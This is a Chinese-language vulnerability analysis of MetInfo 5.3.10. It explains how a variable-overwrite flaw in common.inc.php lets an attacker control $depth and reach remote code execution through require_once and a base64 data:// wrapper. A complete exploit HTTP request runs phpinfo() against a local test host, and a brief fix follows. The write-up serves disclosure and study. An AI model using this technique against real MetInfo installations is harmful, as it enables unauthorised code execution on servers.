0x00 MetInfo

MetInfo采用PHP+Mysql架构,是一款对SEO非常友好、功能全面、安全稳定、支持多终端展示并且使用起来极其简单的企业建站系统。

0x01 命令执行 文件包含

命令执行:应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、
passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令
拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

文件包含:由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。

此次产生漏洞的版本号为Metinfo5.3.10,源码大家可以下载。

0x02 漏洞分析

文件admin/login/login_check.php:26行

f($action=="login"){
$metinfo_admin_name = $login_name;
$metinfo_admin_pass = $login_pass;
$metinfo_admin_pass=md5($metinfo_admin_pass);
/*code*/
if($met_login_code==1){
require_once $depth.'../include/captcha.class.php';
$Captcha= new Captcha();
if(!$Captcha->CheckCode($code)){
echo("<script type='text/javascript'>alert('$lang_logincodeerror');location.href='login.php?langset=$langset';</script>");
exit;
}
}

登录检测的,当后台开启登录校验码的时候$met_login_code会设置为1,然后require_once 去包含校验码登录文件。只要我们控制了变量$depth就可以进行远程文件包含了。

而$depth变量是在文件’admin/login/login_check.php’开头定义的。

error_reporting(E_ERROR | E_WARNING | E_PARSE);
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',1);

通过第一次拼接$depth包含了include/common.inc.php,前面几步可能没什么问题,这一步也没有问题的,包含了文件common.inc.php之后,但是common.inc.php中可以通过以下代码进行变量覆盖。

文件:include/common.inc.php:35

foreach(array('_COOKIE', '_POST', '_GET') as $_request) { // 遍历数组
// $$_request分别是$_COOKIE, $_POST, $_GET,对应http请求提交过来的相应数据
foreach($$_request as $_key => $_value) { // 分别遍历该数据
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); // 对数据中的值进行转义
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}

对页面提交过来的数据,包括cookie,post, get三种数据进行转义。

但是此处却存在一个变量覆盖漏洞,这里我们简单本地演示一下:

<?php
$a='hello';
foreach($_GET as $key => $value){
$$key = $value;
}
print $a;
?>

当我们get提交一个a值时,它会覆盖掉以前所定义,产生变量覆盖

0x03 漏洞利用

我们可以利用变量覆盖漏洞覆盖掉变量$deph。

本地文件包含用require_once来执行代码,但是

if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}

对depth进行了过滤,我们可以使用php的封装协议data://配合require_once来进行恶意代码执行。
还有一个问题

require_once $depth.'../include/captcha.class.php';

这一串拼接在字符后面的字符串的干扰,这一段会干扰我们想要执行的代码。

用base64解码正常文字会让后面这一串字符变成乱码,并且加上了单行注释符号注释掉乱码。

封装器解码之后代码的样子

<?php phpinfo();exit();// ..þ)ܖç^ýÆ©µÈZ.rV¬s.php

这样我们构造exp进行测试,前提后台开启了登录验证码:

POST /MetInfo_5.3.10/admin/login/login_check.php?langset=cn&depth=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw== HTTP/1.1
Host: 127.0.0.1
Content-Length: 83
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/MetInfo_5.3.10/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: _ga=GA1.1.1522517218.1476456267; tablepage_json=0%7Csystem%2Cnews%2Cdonews_info; ft127001=0; recordurl=%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252F%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252Findex.php%253Flang%253Dcn%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252Findex.php%253Flang%253Dcn%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252Findex.php%253Flang%253Dcn%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252Findex.php%253Flang%253Dcn%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252F%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252F%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252F%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252F%2Chttp%253A%252F%252F127.0.0.1%252FMetInfo_5.3.10%252Findex.php%253Flang%253Dcn; re_url=http%3A%2F%2F127.0.0.1%2FMetInfo_5.3.10%2Fadmin%2F; met_capcha=1f1ezzrSrlMNL9bl5TC1%2F2CBMinv2dvD8CX74vlrMRbq
Connection: close
action=login&login_name=admin&login_pass=123456&code=8CAA&Submit=%E7%99%BB%E5%BD%95

执行了phpinfo()

因为使用了data://,所以需要php.ini 中allow_url_include =on

0x04、漏洞修复

包含include/common.inc.php再次给$depth赋值,防止变量被污染